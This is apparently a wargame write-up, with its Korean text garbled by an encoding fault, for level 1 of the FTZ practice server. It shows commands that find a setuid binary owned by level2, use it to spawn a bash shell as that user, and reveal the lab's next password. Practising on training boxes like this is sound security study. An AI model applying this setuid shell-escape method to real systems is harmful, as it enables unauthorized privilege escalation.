728x90
๐ค USER : level1
๐PASSWORD : level1
๐ ํ์ฌ ๊ฒฝ๋ก ํ์ธ
[level1@ftz level1]$ pwd
/home/level1
๐ ๋๋ ํฐ๋ฆฌ ๋ชฉ๋ก ํ์ธ
[level1@ftz level1]$ ls -l
total 12
-rw-r--r-- 1 root root 47 Apr 4 2000 hint
drwxr-xr-x 2 root level1 4096 Dec 7 2003 public_html
drwxrwxr-x 2 root level1 4096 Jan 16 2009 tmp
๐ hint ํ์ผ ํ์ธ
[level1@ftz level1]$ cat hint
level2 ๊ถํ์ setuid๊ฐ ๊ฑธ๋ฆฐ ํ์ผ์ ์ฐพ๋๋ค.
๐ find ๋ช ๋ น์ด ๋ฐ ์ต์ ์ด์ฉ
[level1@ftz level1]$ find / -user level2 -perm -4000 2>/dev/null
/bin/ExecuteMe
๐๏ธ - perm → setuid ๊ฑธ๋ ค์๋ ํ์ผ ์ฐพ๊ธฐ [setuid ๊ฐ ๊ฑธ๋ ค์๋ ํ์ผ์ 400๋ฒ๋๋ก ํ์]
๐๏ธ 2>/dev/null → 2๋ฒ์ ํ์ค์๋ฌ๋ฅผ ๋ปํ๋ฉฐ, ํ์ค์๋ฌ๋ฅผ null๋ก ๋ฆฌ๋ค์ด๋ ์
๐ ๊ฒฝ๋ก์ด๋ ๋ฐ ํ์ผ์คํ
[level1@ftz level1]$ cd /bin/
[level1@ftz bin]$ pwd
/bin
[level1@ftz bin]$ ./ExecuteMe
๐ Shell ํ๋
๋ ๋ฒจ 2์ ๊ถํ์ผ๋ก ๋น์ ์ด ์ํ๋ ๋ช ๋ น์ด๋ฅผ ํ๊ฐ์ง ์คํ์์ผ ๋๋ฆฌ๊ฒ ์ต๋๋ค.
(๋จ, my-pass ์ chmod๋ ์ ์ธ) ์ด๋ค ๋ช ๋ น์ ์คํ์ํค๊ฒ ์ต๋๊น?
[level2@ftz level2]$ /bin/bash
๐ Level 02 ๋น๋ฐ๋ฒํธ ํ๋
[level2@ftz level2]$ my-pass
Level2 Password is "hacker or cracker".
728x90
'Wargame > System' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[FTZ] FTZ Level 02 (0) | 2022.07.17 |
---|---|
[FTZ] FTZ ์์ํ๊ธฐ (0) | 2022.07.17 |
๋๊ธ